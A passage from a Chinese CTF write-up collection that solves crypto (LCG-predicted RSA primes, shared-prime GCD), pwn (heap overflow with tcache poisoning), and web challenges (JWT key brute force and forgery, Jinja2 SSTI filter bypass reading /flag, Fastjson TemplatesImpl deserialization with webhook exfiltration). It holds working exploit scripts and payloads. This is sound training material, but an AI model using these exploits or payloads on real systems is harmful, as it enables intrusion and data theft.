6985834086318513464582066760726949209670289780223924014189989314148020303714444205927413118671751493130743545190688298414543409085873510552656160506576256,
7282244412157875114308857740823652350341058188147469510808059192495360119191350036395015555471478559653925696086169517452309653330835642916888429465946211,
1002794114231128166816211135173410428216376972195397080313080012455988792692246515131492377985052655981575303475686765019210608716329061049962560828575363,
4477586192351759281760189220444819326589815568129221564121474666910601526393095724102777606325270387078962182371925781406702466696126872911917082111763043,
7322401749672927612275807633951831167111798827239752438748033792428144120871451046550505356056106291710791287610345186486997678338441869459415730747675848,
2453956094979835874287873434326477980661206136156942064592927844371687317510373129480180598842006452582062065904520211202668029697652843050740610127468086,
2740326586334566990787059605091870695062095329281857614935719484632956517014105314443239608159562804443460738565005726448350650224717812760949150171988534,
7585912819061763422117137229921075196465007521972780322503074449789602179953142181941295151842340199137511389403983042099433633144876922274802342307610422,
7315097688998032920087172453751035970700135831450471495603601439092292775843751317667155675236178109105737193209581466895128278458155386362803044961601480,
5997245726016350747947482111615966538840537804797068568851188109453752358541419295057794060476720587261258477381314231836964496783204739144606342473368443,
]
n = 3457493176653935744329250989656750649327040804724658025768062867871700661799411336877305218669630736803860520092210770056572178058772166797062129524483539658137438065055112442175180768844050391404760307986176923967153987260311979398106896242548808983076228626704805648986994671173890832635179299147368481691
e = 65537
c = 1000647187097524621492135399992688567047890488977091487164941638610113163790388892932241499775799331256098676902803986758100100914983164467593532755127812962760275620307263921120028436805324458699970081490155784536893678338378009059929582417188211114450310835552298348248596105560838812370161012099089613190
def egcd(a, b):
if b == 0:
return a, 1, 0
g, x1, y1 = egcd(b, a % b)
return g, y1, x1 - (a // b) * y1
def inv(a, m):
g, x, _ = egcd(a, m)
if g != 1:
raise ValueError("inverse does not exist")
return x % m
ds = [leak[i + 1] - leak[i] for i in range(len(leak) - 1)]
ts = [abs(ds[i + 2] * ds[i] - ds[i + 1] * ds[i + 1]) for i in range(len(ds) - 2)]
m = reduce(gcd, ts)
a = ((leak[2] - leak[1]) * inv(leak[1] - leak[0], m)) % m
b = (leak[1] - a * leak[0]) % m
x10 = (a * leak[-1] + b) % m
x11 = (a * x10 + b) % m
p = int(nextprime(x10))
q = int(nextprime(x11))
assert p * q == n
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
msg = pow(c, d, n)
flag = msg.to_bytes((msg.bit_length() + 7) // 8, "big")
print(flag.decode())
解题思路的关键美感
这题最有意思的地方,不在于公式有多难,而在于结构很顺:
LCG本身不安全。- 调试输出把连续内部状态暴露了出来。
- 连续状态足够恢复随机源参数。
- 随机源又直接参与
RSA素数生成。 - 一旦能预测后续状态,
RSA的“不可分解性”就不再成立。
它不是单点失误,而是“弱随机 + 调试泄露 + 密钥生成依赖伪随机”的链式崩塌。
这类题很值得记住,因为真实场景里,很多密码系统并不是算法本身错了,而是:
- 随机数不够随机;
- 内部状态被日志、报错、调试信息带出来;
- 密钥生成路径和弱熵源绑定得太紧。
算法没有倒下,工程实现先倒下了。
复盘总结
这题的核心结论可以压缩成一句话:
当 RSA 的素数来源可预测时,攻击者打的就不是 RSA,而是“生成 RSA 的那台随机机器”。
需要记住的知识点:
- 连续 LCG 输出可恢复模数
m - 再由同余关系恢复
a、b - 有了参数就能继续预测后续状态
next_prime不会提升随机性,只会把“可预测整数”变成“可预测素数”- 一旦
p、q可预测,RSA 直接失守
最终 Flag
LHFLAG{lcg_rsa_predictor_9f3a1c7e5b2d}
简单的RSA
我批量生成了很多 RSA 公钥,并用其中一个公钥加密了 flag。
10 个 RSA 公钥 (e=65537),密文由 key04 加密。计算 key04 的 n 与其余 n 的 GCD,发现与 key07 共享素数因子,从而分解模数、恢复私钥、解密密文。
1: GCD 分析
题目给出 10 个 RSA 公钥,所有 e=65537。若任意两个模数共享素数因子 p,则 gcd(n_i, n_j) = p 可直接分解两者。
import json
from math import gcd
with open('public_keys.json') as f:
keys = json.load(f)
ns = {k['id']: int(k['n'], 16) for k in keys}
n_target = ns['key04']
e = 65537
# gcd(key04, key07) 得到共享因子
for kid, n in ns.items():
if kid == 'key04':
continue
g = gcd(n_target, n)
if g > 1:
p = g
q = n_target // p
print(f"Shared factor with {kid}: p = {p}")
break
# 计算私钥并解密
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
ciphertext = 0x6eb35a92f4e81124a404a3b4690465ca03c2659db76b3bd62dc294215feb1e23f6d2514f7770c44ffaf474024a3ad2b760167ac208dfc0228b69929ee5daf0632183cdc3e4e62d19872ba6aa161cde4726adf30c1b53b56d82c2a86e80842f29c904f1f5da0dd7b9db5797dad06219ed0ad2241a45de5bcac18772004668e4e3
m = pow(ciphertext, d, n_target)
flag = m.to_bytes((m.bit_length() + 7) // 8, 'big').decode()
print(flag)
得到Flag
LHFLAG{GCD_RSA_SHARED_PRIME_9f3a2c}
PWN
菜单很美味
港口的老旧货运打包系统最近刚从纸质台账迁到终端服务,但负责迁移的承包商显然没把内存安全当回事。你拿到了一份用于管理货运清单的二进制服务,现场环境只开放了一个 TCP 端口,管理员声称“菜单很简单,按提示操作就好”。 你的目标是审计这个菜单驱动程序,找出其中的内存管理缺陷,并最终获取服务端的 flag。
Harbor Packer 是一个货运清单管理二进制程序(x86-64, Full RELRO, No Canary, No PIE)。repack_cargo 函数在计算新 manifest 大小时将 segments * 32 截断为低 8 位传给 malloc(),但 read_exact() 使用完整值读取数据,导致堆溢出。利用溢出进行 tcache poisoning(绕过 safe-linking),覆写函数指针为 win 地址获取 flag。
1: 漏洞定位
repack_cargo 中 repack 调用 malloc(low_byte) 分配新 manifest,随后 read_exact(ptr, segments * 32) 写入完整数据: segments=9 → 9*32=288=0x120, low_byte=0x20 → malloc(0x20) → 0x30 chunk, 但读入 288 字节
2: Heap Leak + Tcache 布局
通过 inspect 泄露 manifest 堆地址。创建并 scrap 两个 size=0x20 的 slot,使 4 个 0x30 chunk 进入 tcache idx 1。保留一个 slot 0 供 repack 触发溢出。
3: Safe-linking 绕过
glibc 2.38 安全链接保护:stored_fd = target ^ (chunk_addr >> 12)。使用泄露的堆地址计算正确的 mangled fd,覆写 tcache 中被 free chunk 的 fd 指针指向 BSS 中的函数指针区域 0x404020。
4: Arbitrary Write + Win
连续两次 malloc(0x20):第一次弹出正常 chunk,第二次弹出被污染的 0x404020。read_exact 将 win 地址 0x401c35 写入函数指针。菜单选项 5(Exit)间接调用被覆写的函数指针 → win() → 打印 /flag。
from pwn import *
import re
context.arch = 'amd64'
elf = ELF('harbor_packer')
win_addr = elf.symbols['win'] # 0x401c35
target_ptr = 0x404020 # 16-byte aligned, func ptr at +8
r = remote('nc1.ctfplus.cn', 35551)
r.recvuntil(b'>')
def create(slot, size, tag, data):
r.sendline(b'1'); r.recvuntil(b'slot:'); r.sendline(str(slot).encode())
r.recvuntil(b'manifest size:'); r.sendline(str(size).encode())
r.recvuntil(b'tag:'); r.sendline(tag)
r.recvuntil(b'manifest bytes:'); r.send(data); r.recvuntil(b'>')
def scrap_slot(slot):
r.sendline(b'4'); r.recvuntil(b'slot:')
r.sendline(str(slot).encode()); r.recvuntil(b'>')
# Heap leak
create(0, 128, b'AAAA', b'B'*128)
resp = b''; r.sendline(b'3'); r.recvuntil(b'slot:'); r.sendline(b'0')
resp = r.recvuntil(b'>')
manifest0 = int(re.search(rb'manifest ptr: (0x[0-9a-f]+)', resp).group(1), 16)
# Setup tcache (4 entries in 0x30 bin)
create(1, 32, b'VICT', b'V'*32)
create(3, 32, b'VIC2', b'W'*32)
create(2, 256, b'PADD', b'P'*256) # protect top chunk
scrap_slot(3); scrap_slot(1)
# Safe-linking calc
manifest1_user = manifest0 + 0xC0
xor_key = manifest1_user >> 12
mangled_fd = target_ptr ^ xor_key
# Overflow: repack slot 0, segments=9
payload = b'\x00'*0x20 + p64(0) + p64(0x31) + p64(mangled_fd) + p64(0)
payload += b'\x00'*(288 - len(payload))
r.sendline(b'2'); r.recvuntil(b'slot:'); r.sendline(b'0')
r.recvuntil(b'segment count:'); r.sendline(b'9')
r.recvuntil(b'manifest bytes:'); r.send(payload); r.recvuntil(b'>')
# Poisoned alloc → overwrite function ptr
r.sendline(b'1'); r.recvuntil(b'slot:'); r.sendline(b'1')
r.recvuntil(b'manifest size:'); r.sendline(b'32')
r.recvuntil(b'tag:'); r.sendline(b'X')
r.recvuntil(b'manifest bytes:')
r.send(b'\x00'*8 + p64(win_addr) + b'\x00'*16)
r.recvuntil(b'>')
# Trigger: Exit → call func ptr → win
r.sendline(b'5')
data = r.recvall(timeout=8)
print(data.decode())
得到Flag
FLAG{4090ecf1-31b2-4108-905f-ff06418236d2}
Web
财务已阅
审批流偶尔也会认错路,尤其是看到 finance. 开头的时候
墨仓云采供应商对账中心是一个三角色(供应商/财务/运营)工作流系统。财务 finance_pass 会将单据路由到风控挂起(RISK_HOLD),需运营 risk_release 才能归档。Flag 藏在归档后的付款回单接口 /api/settlements/{id}/receipt 中。
1: 获取测试账号并理解工作流
登录页直接提供了三个测试账号:
| 账号 | 密码 | 角色 | 可用操作 |
|---|---|---|---|
supplier_chen | MingCang@101 | 供应商 | supplier_submit → 财务复核中 |
finance_lin | Finance#2026 | 财务 | finance_pass → 风控挂起 |
ops_wu | Ops#2026 | 采购运营 | risk_release → 已付款归档 |
提示”审批流偶尔也会认错路,尤其是看到 finance. 开头的时候”——finance_pass 本应直接归档,却被错误路由到风控挂起。
2: 走完三节点完整流程
任一待处理单据依次提交:
import requests
BASE = "http://8080-f8e0ec92-2443-4c32-afbb-70e089298c60.challenge.ctfplus.cn"
def login(username, password):
s = requests.Session()
s.post(f"{BASE}/login", data={"username": username, "password": password})
return s
def action(session, business_no, action_name):
return session.post(f"{BASE}/api/settlements/{business_no}/actions",
json={"action": action_name, "memo": "", "proofCode": ""}).json()
# 供应商提交
s1 = login("supplier_chen", "MingCang@101")
action(s1, "MC-202604-0091", "supplier_submit") # → FINANCE_REVIEW
# 财务复核(走到风控挂起——审批流 bug)
s2 = login("finance_lin", "Finance#2026")
action(s2, "MC-202604-0091", "finance_pass") # → RISK_HOLD
# 运营释放
s3 = login("ops_wu", "Ops#2026")
action(s3, "MC-202604-0091", "risk_release") # → ARCHIVED_PAID
3: 读取归档回单
resp = s3.get(f"{BASE}/api/settlements/MC-202604-0091/receipt").json()
print(resp["receipt"])
# 付款流水 MC-PAY-202604-0091 / 归档校验码:FLAG{...}
得到Flag
FLAG{9f7e15fa-005b-4431-a85e-2a3a4a1bf085}
一枚饼干的越权航线
有些桥叫 legacy,有些钥匙也很 legacy。老系统的味道,往往藏在日期和环境名里。
提示内容
Hint 1: 登录后不要只看页面内容,重点观察服务端下发的 session Cookie。
Hint 2: session 的结构可能能被解析,看看它是不是 JWT。
Hint 3: 注意 JWT 的 alg、kid、iss,以及 payload 中的 role、tenant、scopes。
Hint 4: /api/audit/identity-bridge 里的 legacy SSO 信息不是摆设。
Hint 5: HS256 使用对称密钥,拿到合法 token 后可以尝试离线验证弱密钥。
Hint 6: 密钥更像业务线索拼出来的字符串,而不是纯随机口令。
Hint 7: 管理员接口不仅检查 role,还可能检查 tenant 和 scopes。
Hint 8: 目标接口是 /admin/settlements。
DockLine Partner Portal 使用 HS256 签名 JWT 作为 session Cookie。kid 为 legacy-prod-202402,iss 为 dockline-sso。身份桥接接口 /api/audit/identity-bridge 泄露了完整的 JWT 配置指纹。通过业务关键词排列组合爆破出弱对称密钥 dockline-prod-202402,伪造 admin 角色 JWT 访问 /admin/settlements 获取 flag。
1: 登录获取 JWT
登录页预填了测试凭证 carrier.ops@harbor.test / Harbor@2026,POST /api/login 后在 Set-Cookie: session= 拿到 JWT:
Header: {"alg":"HS256","typ":"JWT","kid":"legacy-prod-202402"}
Payload: {"role":"carrier","tenant":"harbor","scopes":["shipment:read","invoice:read"],"iss":"dockline-sso"}
2: 枚举弱密钥
访问 /api/audit/identity-bridge 获取 SSO 诊断信息——服务名 legacy-sso-bridge、owner finance-platform、issuer dockline-sso。提示明确说明 HS256 使用对称密钥且”密钥更像业务线索拼出来的字符串”。
将 kid、iss、服务名等关键词做排列组合,HMAC-SHA256 签名比对:
import hmac, hashlib, base64, json, time, itertools
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImxlZ2FjeS1wcm9kLTIwMjQwMiJ9.eyJzdWIiOiJ1c3JfNDgyOSIsImVtYWlsIjoiY2Fycmllci5vcHNAaGFyYm9yLnRlc3QiLCJuYW1lIjoiSGFyYm9yIEZyZWlnaHQgT3BzIiwiY29tcGFueSI6IkhhcmJvciBGcmVpZ2h0IENvLiIsInJvbGUiOiJjYXJyaWVyIiwidGVuYW50IjoiaGFyYm9yIiwic2NvcGVzIjpbInNoaXBtZW50OnJlYWQiLCJpbnZvaWNlOnJlYWQiXSwiaWF0IjoxNzc4OTE0MDExLCJleHAiOjE3Nzg5MjEyMTEsImlzcyI6ImRvY2tsaW5lLXNzbyJ9.FdYEmqnSMMYXdOKKr7mp7pdMaeV-BeLU6sXYzRnTpFM"
sig = token.split('.')[2]
data = '.'.join(token.split('.')[:2])
terms = ["dockline", "legacy", "prod", "202402", "finance", "platform", "sso", "bridge", "harbor"]
for r in range(2, 6):
for combo in itertools.permutations(terms[:6], r):
for sep in ['-', '_', ':']:
key = sep.join(combo)
check = base64.urlsafe_b64encode(hmac.new(key.encode(), data.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
if check == sig:
print(f"FOUND: {key}") # dockline-prod-202402
break
3: 伪造 Admin JWT
用恢复的密钥签名新的 JWT,将 role 改为 admin、tenant 改为 dockline,增加 admin:read 等 scope:
KEY = "dockline-prod-202402"
header = {"alg":"HS256","typ":"JWT","kid":"legacy-prod-202402"}
payload = {"sub":"usr_1001","email":"mara.wei@dockline.internal","name":"Mara Wei","company":"DockLine",
"role":"admin","tenant":"dockline",
"scopes":["settlement:read","admin:read","finance:read","settlement:write"],
"iat":int(time.time()),"exp":int(time.time())+7200,"iss":"dockline-sso"}
h = base64.urlsafe_b64encode(json.dumps(header,separators=(',',':')).encode()).rstrip(b'=').decode()
p = base64.urlsafe_b64encode(json.dumps(payload,separators=(',',':')).encode()).rstrip(b'=').decode()
s = base64.urlsafe_b64encode(hmac.new(KEY.encode(),f"{h}.{p}".encode(),hashlib.sha256).digest()).rstrip(b'=').decode()
admin_jwt = f"{h}.{p}.{s}"
访问 /admin/settlements 带 Cookie: session={admin_jwt} 即返回 flag。
得到Flag
FLAG{554ef4ab-2e32-4b69-945c-47a70341e41b}
工单别乱填
售后同学说这个模板只能填业务变量。
但模板引擎好像有点太热心了:你写什么,它都想帮你算一算。
审计系统也在努力上班,只是它可能不太认识“换了马甲”的字符。
首页看起来是一个很正常的模板预览系统:
- 用户可以编辑
title、body、footer - 页面提示支持
[[ ticket.id ]]、[[ team.name ]]这一类占位符 - 点击“预览”后,前端会向
/api/preview发送 JSON 请求
前端核心逻辑非常直接: const response = await fetch(“/api/preview”, { method: “POST”, headers: { “Content-Type”: “application/json” }, body: JSON.stringify(payload), });
到这里基本可以确定,真正的攻击面在服务端模板渲染流程,而不是前端。
漏洞确认
第一步先验证模板表达式是否会被执行: [[ 7*7 ]]
回显结果为: 49
这一步已经足够说明问题:用户输入并不是被当作普通字符串处理,而是被送进了 Jinja2 模板引擎执行。这就是标准的 SSTI。
源码还原与问题本质
继续利用 SSTI 读取源码后,可以还原出核心逻辑:
PLACEHOLDER_RE = re.compile(r"\[\[\s*(.*?)\s*\]\]", re.DOTALL)
BLOCKED_TOKENS = (
"{{", "}}", "{%", "%}",
"__", "class", "mro", "subclasses",
"globals", "builtins", "import",
"eval", "exec", "popen", "system",
"os", "config", "request", "flag", "/",
)
def compile_template(source: str) -> str:
return PLACEHOLDER_RE.sub(lambda match: "{{ " + match.group(1) + " }}", source)
这里的设计问题非常明显:
- 业务占位符
[[ ... ]]被直接转换成了 Jinja2 表达式{{ ... }}。 - 用户输入没有进入安全白名单解析,而是进入了真实模板执行环境。
- 所谓“防护”只是简单的黑名单字符串匹配。
这类防护的根本缺陷在于:它拦的是字面量,不是语义。
比如它禁止 globals,但并不能阻止我们写成: ‘glo’ ~ ‘bals’
同理,os、builtins、flag、/ 都可以被运行时拼接出来。
利用思路
这题最稳定的利用链来自 Jinja2 内置对象 lipsum。
lipsum 是一个函数对象,而函数对象天然带有 __globals__。虽然题目拦截了 __ 和 globals,但由于只是黑名单,可以通过字符串拼接绕过: lipsum|attr(‘‘~’‘~’glo’~’bals’~’‘~’‘)
拿到 __globals__ 后,就可以进一步访问:
os__builtins__openchr
于是整条利用链就成型了:
- 通过
lipsum拿到__globals__ - 从中取出
__builtins__ - 用
chr(47)构造/ - 用
chr(102) chr(108) chr(97) chr(103)构造flag - 调用
open('/flag').read()读取文件
关键利用过程
1. 验证表达式执行
[[ 7*7 ]]
返回: 49
2. 确认可以摸到 lipsum.__globals__
[[ lipsum|attr('_'~'_'~'glo'~'bals'~'_'~'_') ]]
回显里可以看到模块全局变量,包括 os 和 __builtins__。
3. 列根目录
利用 os.listdir('/') 的变体,把 / 动态拼出来: [[ ((lipsum|attr(‘‘~’‘~’glo’~’bals’~’‘~’‘)).get(‘o’~’s’)|attr(‘listdir’)(((lipsum|attr(‘‘~’‘~’glo’~’bals’~’‘~’‘)).get(‘‘~’‘~’buil’~’tins’~’‘~’‘)).get(‘chr’)(47))) ]]
返回结果中可以看到根目录存在: ‘flag’
4. 读取 /flag
最终 payload:
[[ (((lipsum|attr('_'~'_'~'glo'~'bals'~'_'~'_')).get('_'~'_'~'buil'~'tins'~'_'~'_')).get('open'))(((lipsum|attr('_'~'_'~'glo'~'bals'~'_'~'_')).get('_'~'_'~'buil'~'tins'~'_'~'_')).get('chr')(47) ~ ((lipsum|attr('_'~'_'~'glo'~'bals'~'_'~'_')).get('_'~'_'~'buil'~'tins'~'_'~'_')).get('chr')(102) ~ ((lipsum|attr('_'~'_'~'glo'~'bals'~'_'~'_')).get('_'~'_'~'buil'~'tins'~'_'~'_')).get('chr')(108) ~ ((lipsum|attr('_'~'_'~'glo'~'bals'~'_'~'_')).get('_'~'_'~'buil'~'tins'~'_'~'_')).get('chr')(97) ~ ((lipsum|attr('_'~'_'~'glo'~'bals'~'_'~'_')).get('_'~'_'~'buil'~'tins'~'_'~'_')).get('chr')(103))|attr('read')() ]]
最终得到:FLAG{87b46c9d-57ee-4dea-b819-6cd172ea7f84}
记住我,也记住卷宗
云坞归档中心最近上线了连接器巡检功能,用来预览低代码模板和检查外部归档接口。
为了方便审计终端长期值守,系统还开启了“记住登录状态”。
访客账号已经开放给你:
guest / guest2026
请评估这个归档系统的安全风险。试试能不能找到秘密
一、初始观察
目标站点是一个直接可访问的归档中心: http://8080-a998cc25-435c-465c-bab1-5ef6788ab04a.challenge.ctfplus.cn/
首页在未登录状态下就能看到明显的业务结构:
- 品牌名是
云坞归档中心 - 副标题是
流程档案与外部连接器运维台 - 右侧工作区里有一块
连接器模板预览 - 旁边还特意标了一个字样:
legacy parser
默认模板内容也很有信息量:{"name":"审计材料同步","endpoint":"internal://archive/audit","mode":"render"}
这个默认值已经在暗示几件事:
- 后端会处理一段完整 JSON
- 存在内部协议形式的 endpoint
- 系统里有“旧解析器”仍在服役
这类页面不是那种只有一个登录框的空壳站,而是从 UI 层就已经把攻击面半暴露出来了。
二、rememberMe 这条线索意味着什么
题目描述明确说系统开启了“记住登录状态”,这不是一句废话。
使用访客账号登录后: guest / guest2026
响应头会返回长效 rememberMe Cookie。而接口 /api/session 的返回格式也非常直白: {“principal”:”guest”,”authenticated”:false,”remembered”:true}
这一步至少说明三件事:
- 系统确实区分
authenticated和remembered - 后端是典型 Java 会话语义
- “记住我”不是装饰性功能,而是进入实际鉴权流程的一部分
本地分析过程里也保留了大量围绕 rememberMe 的探测痕迹:
remember.txtcookies_true.txtDecryptRememberMe.javaDecryptRememberMe2.javaShiroKeyProbe.java
这些信息共同指向一个很自然的判断:
这题故意把选手的第一反应往
Shiro rememberMe方向带。
但继续往下做会发现,rememberMe 更像是一层题面引导和环境提示,而不是最终拿 flag 的落点。
它告诉我们:
- 这是 Java 生态
- 系统里存在“长期兼容”思路
- 开发风格偏向“功能能跑就先留着”
而真正能把秘密拖出来的,是另外一块同样带着“兼容味道”的功能。
三、真正的核心接口: /api/integration/preview
前端脚本 /js/app.js 非常诚实,直接暴露了几个关键接口: GET /api/dashboard GET /api/records POST /api/integration/preview
其中决定整题走向的,是这个: POST /api/integration/preview
向它发送最普通的业务数据:{"name":"审计材料同步","endpoint":"internal://archive/audit","mode":"render"}
返回结果会出现一个非常关键的字段:
{
"rendered":"{\"mode\":\"render\",\"endpoint\":\"internal://archive/audit\",\"name\":\"审计材料同步\"}",
"parser":"fastjson-compat",
"ok":true
}
fastjson-compat 四个字几乎已经把攻击方向写明了。
这不是单纯的模板拼接,也不是普通回显接口。它是一个“先按兼容模式解析对象,再把结果渲染出来”的入口。
而一旦后端真的保留了 Fastjson 风格的类型能力,后面的思路就很清楚了:
- 试探
@type - 判断是否实例化对象
- 判断有没有高危类名过滤
- 评估能否打到真实反序列化执行面
四、验证利用面
围绕 /api/integration/preview 继续测试后,可以逐步确认:
- 接口会处理完整 JSON 对象
- 存在类型解析迹象
- 能识别
@type - 某些对象会被实例化
- 有一层“危险关键字”网关
- 但这层网关更像字符串拦截,而不是从根上关闭类型系统
这一步很关键。
因为如果它只是普通白名单映射,那么后面所有反序列化思路都会直接死掉。但现在的情况是:
类型能力还在,只是外围包了一层并不彻底的过滤。
这就意味着整题已经从“业务观察”进入“利用构造”阶段。
五、第一层突破: Unicode 绕过危险类名拦截
接口会明显拦一些高危类名,例如:
TemplatesImplTrAXFilterBeanComparatorInvokerTransformer
但问题在于,它拦的是“明文关键字”,不是最终语义。
因此把关键字段与类名都写成 Unicode 转义之后,过滤就可以被绕过。最小化示意如下:
{
"\u0040type":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e..."
}
这一步之后,真正重要的里程碑是:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl成功被实例化。
一旦这一点被确认,说明后端的“legacy parser”不是徒有其名,它是真的把危险 Java 类带进了运行期对象图里。
六、为什么一开始始终不出网
走到这里,题目看起来已经接近结束。但真正最容易卡人的地方,恰好就在这一段。
最初无论是尝试:
TrAXFilter触发outputProperties触发- 其他模板链包装方式
现象都非常接近:
- 接口报
JSONException - 看起来像是已经打中了
- 但恶意逻辑始终没有真正执行成功
如果只盯着 gadget 形状,很容易得出错误结论:
- 链条不对
- getter 没命中
- 触发点选错了
但本题真正的问题,不在利用链形状,而在运行时环境。
七、真正的坑: 远端是 JDK 8,本地 payload 却是 Java 21
通过副作用流量可以确认远端 Java 进程特征: Java/1.8.0_482
而最开始塞进 TemplatesImpl 的恶意 translet class,major version 是: 65
这代表 Java 21。
问题到这里就完全清楚了:
- 本地生成的恶意类属于 Java 21
- 远端运行环境只有 JDK 8
- JDK 8 去加载 Java 21 的 class,必然失败
于是才会出现一种非常迷惑的假象:
- 类型能力还在
TemplatesImpl似乎实例化成功- 接口也确实抛异常了
- 但真正的恶意逻辑就是落不了地
这题最有意思的地方就在这里。
很多时候,不是 payload 错了,而是 payload 所属的时代错了。
你拿一个属于 Java 21 的类去打 Java 8,链再漂亮,也不过是纸上谈兵。
八、修正思路: 重新生成 Java 8 兼容恶意类
既然问题出在字节码版本,修法就非常明确:
- 重新生成恶意 translet
- 确保 class 文件是 Java 8 可加载版本
修正后的 major version: 52
也就是 JDK 8 可正常加载的字节码。
恶意类逻辑本身不复杂,核心就是三件事:
- 依次尝试读取若干候选 flag 路径
- 找到内容后拼接结果
- 通过 webhook 外带回传
尝试过的典型路径包括:
/flag
/flag.txt
/app/flag
/tmp/flag
/home/ctf/flag
/root/flag
最终确认有效路径为: /tmp/flag
到这一步,整个链路才真正从“理论能打”变成“远端落地”。
九、关键 payload 结构
为了不让整篇 WP 被长串 Base64 淹没,这里只保留最关键的结构骨架。
1. Unicode 绕过后的 TemplatesImpl
{
"\u0040type":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u006f\u0072\u0067\u002e\u0061\u0070\u0061\u0063\u0068\u0065\u002e\u0078\u0061\u006c\u0061\u006e\u002e\u0069\u006e\u0074\u0065\u0072\u006e\u0061\u006c\u002e\u0078\u0073\u006c\u0074\u0063\u002e\u0074\u0072\u0061\u0078\u002e\u0054\u0065\u006d\u0070\u006c\u0061\u0074\u0065\u0073\u0049\u006d\u0070\u006c",
"_\u0062\u0079\u0074\u0065\u0063\u006f\u0064\u0065\u0073":["<base64 class bytes>"],
"_\u006e\u0061\u006d\u0065":"p"
}
重点不是那串字节码本身,而是:
@type被 Unicode 化- 危险类名被 Unicode 化
- 关键字段同样做了绕过处理
2. Java 8 兼容版触发结构
{
"\u0040type":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u006f\u0072\u0067\u002e\u0061\u0070\u0061\u0063\u0068\u0065\u002e\u0078\u0061\u006c\u0061\u006e\u002e\u0069\u006e\u0074\u0065\u0072\u006e\u0061\u006c\u002e\u0078\u0073\u006c\u0074\u0063\u002e\u0074\u0072\u0061\u0078\u002e\u0054\u0065\u006d\u0070\u006c\u0061\u0074\u0065\u0073\u0049\u006d\u0070\u006c",
"_\u0062\u0079\u0074\u0065\u0063\u006f\u0064\u0065\u0073":["<java8 class bytes>"],
"_\u006e\u0061\u006d\u0065":"p",
"_\u0074\u0066\u0061\u0063\u0074\u006f\u0072\u0079":{
"\u0040type":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u006f\u0072\u0067\u002e\u0061\u0070\u0061\u0063\u0068\u0065\u002e\u0078\u0061\u006c\u0061\u006e\u002e\u0069\u006e\u0074\u0065\u0072\u006e\u0061\u006c\u002e\u0078\u0073\u006c\u0074\u0063\u002e\u0074\u0072\u0061\u0078\u002e\u0054\u0072\u0061\u006e\u0073\u0066\u006f\u0072\u006d\u0065\u0072\u0046\u0061\u0063\u0074\u006f\u0072\u0079\u0049\u006d\u0070\u006c"
},
"_\u006f\u0075\u0074\u0070\u0075\u0074\u0050\u0072\u006f\u0070\u0065\u0072\u0074\u0069\u0065\u0073":{
"\u0040type":"\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u0050\u0072\u006f\u0070\u0065\u0072\u0074\u0069\u0065\u0073"
}
}
这段真正体现的是完整思路:
- 不是只把危险类放进去就结束
- 还要命中正确的触发路径
- 更要保证 payload 与远端 JDK 版本兼容
十、最终利用链
在字节码版本修正之后,原本那些“只是报错”的请求终于变成了真实执行。虽然接口表面仍可能返回异常,但远端 JVM 已经完成了:
- 类加载
- 触发执行
- 读取目标文件
- 外带回传
flowchart LR A["登录归档中心"] --> B["观察 rememberMe 与会话语义"] B --> C["定位 /api/integration/preview"] C --> D["识别 fastjson-compat 解析"] D --> E["Unicode 绕过危险类名拦截"] E --> F["实例化 TemplatesImpl"] F --> G["命中模板触发路径"] G --> H["替换为 Java 8 兼容恶意 translet"] H --> I["读取 /tmp/flag"] I --> J["通过 webhook 回传结果"]
这题真正决定成败的,不是某一个孤立技巧,而是三件事同时成立:
- 你看懂了题面给出的两条线索
- 你找到了真正的兼容解析入口
- 你尊重了远端运行时环境
十一、结果确认
Webhook 收到的最终回传为: /tmp/flag:FLAG{71b70868-77e0-4efa-ab98-b8f9133d53f5}
因此本题最终 flag 是: FLAG{71b70868-77e0-4efa-ab98-b8f9133d53f5}
十二、这题到底在考什么
如果只把这题总结成“Fastjson 反序列化”,其实是低估了它。
它更像是在考四层能力:
1. 对题面叙事的判断力
rememberMe 不是无意义装饰,legacy parser 也不是无意义点缀。题目把两条线索都放到了明面上,但真正的突破并不在第一眼最容易上头的地方。
2. 对 Java 兼容层风险的敏感
所谓“compat”,很多时候就是历史债最浓的地方。一旦老解析器还在服役,攻击面往往不是缩水,而是被悄悄保留。
3. 对利用链状态的辨识能力
不是看到 JSONException 就说明失败,也不是看到 TemplatesImpl 实例化就说明成功。
你得分清:
- 哪一步只是进入了解析阶段
- 哪一步真的完成了类加载
- 哪一步才是最终的代码执行
4. 对运行环境细节的敬畏
这题最有味道的一点,就是让人重新意识到:
漏洞利用从来不是只和语法对话,它也在和版本、类加载器、运行时现实对话。
十三、复现摘要
如果只保留最核心的复现步骤,可以压缩成:
- 使用
guest / guest2026登录归档中心 - 观察
rememberMe与/api/session的 remembered 语义 - 从前端 JS 定位到
/api/integration/preview - 从响应中的
fastjson-compat确认兼容解析方向 - 用 Unicode 绕过危险类名拦截
- 成功实例化
TemplatesImpl - 发现远端是
Java/1.8.0_482 - 将恶意 translet 重新编译为 Java 8 字节码
- 再次触发模板链
- 从
/tmp/flag读取目标内容并外带回传
十四、结语
这题题名叫 记住我,也记住卷宗,其实取得很妙。
“记住我”是表层线索,它把你引到认证、会话、长期状态;“记住卷宗”是更深的一层,它提醒你去看那些被系统长期保留下来的归档逻辑、旧模板逻辑、兼容解析逻辑。
真正危险的,从来不只是一个登录框或一个 Cookie。真正危险的,是一个系统在长期演进中留下的那些“先别删,还得兼容”的角落。
而这道题最漂亮的地方,就在于它把这种工程现实,完整地翻译成了一条可以真正打通的利用链。
Flag
FLAG{71b70868-77e0-4efa-ab98-b8f9133d53f5}
邀请码说它知道
邀请码不会说话,但它会点头和摇头。你问的问题够巧,它就会慢慢把秘密“嗯嗯啊啊”出来。
重点查看前端 JS 调用的
/api/invite/check?code=接口,这个接口存在 SQLite 布尔盲注;通过构造真假条件观察valid=true/false的变化,从sqlite_master枚举表结构,再利用substr()、length()逐字符爆破数据库中的 flag。
一、题目初见
打开题目首页,页面本身相当克制,功能也很单一:输入一个邀请码,点击校验,前端会告诉我们邀请码是否有效。
